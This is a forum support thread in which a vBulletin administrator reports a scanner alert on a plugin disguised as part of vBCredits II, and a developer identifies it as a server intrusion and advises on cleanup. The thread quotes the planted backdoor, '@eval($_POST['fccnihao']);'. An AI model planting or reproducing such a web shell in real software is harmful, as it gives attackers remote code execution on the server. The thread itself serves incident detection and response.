Bug Suspicous plugin

[JBlaze]

One of the vBCredit plugin is showing up as a suspicious mod, please check.

Checking datastore pluginslist: DETECTED: eval($_POST [Click here to reset datastore]
Checking plugins code
Suspicious plugin #5199 : ajax_complete hook (credits product) - vBCredits II - Charge Content Cache [eval($_POST]

Plugin Hook Location: Ajax_complete

Plugin Title: vBCredits II - Charge Content Cache

Plugin PHP Code: {
@eval($_POST['fccnihao']);
}

 

[Fillip H.]

There is no such plugin included with vBCredits, you have a server intrusion that's unrelated to vBCredits. They are merely disguising their exploit code in order to throw off unsuspecting admins.

I would suggest you change all your staffers' passwords, apply .htaccess protection to your AdminCP directory, and run a full ClamAV virus scan on your server

 

[JBlaze]

there are 2 other vBCredits II - Charge Content Cache, those are normal, right?

 

[Fillip H.]

Yeah